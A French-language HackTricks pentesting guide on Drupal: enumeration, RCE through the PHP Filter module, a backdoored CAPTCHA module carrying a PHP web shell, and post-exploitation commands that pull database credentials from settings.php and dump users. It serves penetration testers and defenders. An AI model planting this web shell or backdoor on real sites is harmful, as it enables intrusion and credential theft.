hacktricks/network-services-pentesting/pentesting-web/drupal.md
2023-06-03 13:10:46 +00:00

9.9 KiB

Drupal

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Découverte

  • Vérifiez les méta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indexe son contenu en utilisant des nœuds. Un nœud peut contenir n'importe quoi comme un billet de blog, un sondage, un article, etc. Les URI de page sont généralement de la forme /node/<nodeid>.
curl drupal-site.com/node/1

Énumération

Drupal prend en charge trois types d'utilisateurs par défaut :

  1. Administrateur : cet utilisateur a un contrôle total sur le site web Drupal.
  2. Utilisateur authentifié : ces utilisateurs peuvent se connecter au site web et effectuer des opérations telles que l'ajout et la modification d'articles en fonction de leurs autorisations.
  3. Anonyme : tous les visiteurs du site web sont désignés comme anonymes. Par défaut, ces utilisateurs ne sont autorisés qu'à lire les publications.

Version

  • Vérifiez /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Les nouvelles installations de Drupal bloquent par défaut l'accès aux fichiers CHANGELOG.txt et README.txt. {% endhint %}

Énumération des noms d'utilisateur

Enregistrement

Dans /user/register, essayez simplement de créer un nom d'utilisateur et s'il est déjà pris, une notification apparaîtra :

Demande de nouveau mot de passe

Si vous demandez un nouveau mot de passe pour un nom d'utilisateur existant :

Si vous demandez un nouveau mot de passe pour un nom d'utilisateur qui n'existe pas :

Obtenir le nombre d'utilisateurs

En accédant à /user/<number>, vous pouvez voir le nombre d'utilisateurs existants, dans ce cas, il y en a 2 car /users/3 renvoie une erreur de non trouvé :

Pages cachées

Fuzz /node/$$ est un nombre (de 1 à 500 par exemple).
Vous pourriez trouver des pages cachées (test, dev) qui ne sont pas référencées par les moteurs de recherche.

Informations sur les modules installés

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automatique

droopescan scan drupal -u http://drupal-site.local

RCE

Avec le module PHP Filter

{% hint style="warning" %} Dans les anciennes versions de Drupal (avant la version 8), il était possible de se connecter en tant qu'administrateur et d'activer le module PHP filter, qui "Permet d'évaluer du code/snippets PHP intégré." {% endhint %}

Vous devez avoir le plugin php installé (vérifiez en accédant à /modules/php et si cela renvoie une 403, alors il existe, si non trouvé, alors le plugin php n'est pas installé)

Allez dans Modules -> (Vérifiez) PHP Filter -> Enregistrer la configuration

Ensuite, cliquez sur Ajouter du contenu -> Sélectionnez Page de base ou Article -> Écrivez du code shell php dans le corps -> Sélectionnez Code PHP dans Format de texte -> Sélectionnez Aperçu

Enfin, accédez simplement au nouveau nœud créé:

curl http://drupal-site.local/node/3

Installer le module PHP Filter

À partir de la version 8, le module PHP Filter n'est pas installé par défaut. Pour utiliser cette fonctionnalité, nous devrons installer le module nous-mêmes.

  1. Téléchargez la version la plus récente du module depuis le site web de Drupal.
    1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  2. Une fois téléchargé, allez dans Administration > Rapports > Mises à jour disponibles.
  3. Cliquez sur Parcourir, sélectionnez le fichier dans le répertoire où nous l'avons téléchargé, puis cliquez sur **Installer`**.
  4. Une fois le module installé, nous pouvons cliquer sur Contenu et créer une nouvelle page de base, de la même manière que dans l'exemple Drupal 7. Assurez-vous à nouveau de sélectionner Code PHP dans le menu déroulant Format de texte.

Module avec porte dérobée

Un module avec une porte dérobée peut être créé en ajoutant un shell à un module existant. Les modules peuvent être trouvés sur le site web drupal.org. Prenons un module tel que CAPTCHA. Faites défiler vers le bas et copiez le lien de l'archive tar.gz archive.

  • Téléchargez l'archive et extrayez son contenu.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Créez un shell web PHP avec le contenu :
<?php
system($_GET["cmd"]);
?>
  • Ensuite, nous devons créer un fichier .htaccess pour nous donner accès au dossier. Cela est nécessaire car Drupal refuse l'accès direct au dossier /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configuration ci-dessus appliquera des règles pour le dossier / lorsque nous demandons un fichier dans /modules. Copiez ces deux fichiers dans le dossier captcha et créez une archive.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • En supposant que nous avons un accès administratif au site web, cliquez sur Gérer puis sur Étendre dans la barre latérale. Ensuite, cliquez sur le bouton + Installer un nouveau module, et nous serons dirigés vers la page d'installation, telle que http://drupal-site.local/admin/modules/install. Parcourez l'archive Captcha piégée et cliquez sur Installer.
  • Une fois l'installation réussie, accédez à /modules/captcha/shell.php pour exécuter des commandes.

Post Exploitation

Lire settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Extraire les utilisateurs de la base de données

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥